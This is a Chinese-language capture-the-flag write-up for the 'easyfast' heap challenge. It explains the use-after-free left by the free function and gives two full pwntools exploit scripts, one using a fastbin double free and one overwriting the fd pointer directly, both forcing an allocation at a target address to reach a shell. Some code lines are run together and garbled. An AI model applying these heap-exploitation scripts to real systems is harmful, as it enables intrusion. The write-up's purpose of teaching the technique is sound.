又是堆题,查看保护
再看ida
大致就是alloc创建堆块,free释放堆块,fill填充堆块,以及一个getshell的函数,但要满足条件。
值得注意的是free函数没有清空堆块指针
所以可以用double free
有两种解法
解法一(double free):
完整exp:
from pwn import*
context(log_level='debug')
p=process('./easyfast')
target=0x602090def alloc(size):p.sendlineafter(b'choice>',str(1))p.sendlineafter(b'size>',str(size))
def free(index):p.sendlineafter(b'choice>',str(2))p.sendlineafter(b'index>',str(index))
def fill(index,content):p.sendlineafter(b'choice>',str(3))p.sendlineafter(b'index>',str(index))p.send(content)
def shell():p.sendlineafter(b'choice>',str(4))alloc(0x40) #这两个堆块的大小需要为0x50,所以申请0x40
alloc(0x40)
free(0)
free(1)
free(0)
payload=p64(target-0x10)
fill(0,payload)
alloc(0x40)
alloc(0x40)
payload=p64(0)
fill(3,payload)
shell()
p.interactive()
在这个方法中我们释放了两次chunk0,接下来再填充chunk0的fd就可以达到在任意地址创建堆块的目的。
上图是释放两次堆块0,并且往堆块0的fd指针填充地址后的fastbin
并且还要注意,我们可以在那里创建堆块的必要条件是可以找到类似推头,从而绕开malloc的检查,否则行不通。题目故意设置了0x50,所以我们申请的堆块大小也要为0x50
解法二:
完整exp:
from pwn import*
context(log_level='debug')
p=process('./easyfast')
target=0x602090def alloc(size):p.sendlineafter(b'choice>',str(1))p.sendlineafter(b'size>',str(size))
def free(index):p.sendlineafter(b'choice>',str(2))p.sendlineafter(b'index>',str(index))
def fill(index,content):p.sendlineafter(b'choice>',str(3))p.sendlineafter(b'index>',str(index))p.send(content)
def shell():p.sendlineafter(b'choice>',str(4))alloc(0x40)
alloc(0x80) #这个堆块只是防止释放堆块后被top chunk合并
free(0)
payload=p64(target-0x10)
fill(0,payload)
alloc(0x40)
alloc(0x40)
payload=p64(0)
fill(2,payload)
shell()
p.interactive()
这个方法较简便一点,没有free两次,而是借助未清零的堆块指针,直接填充fd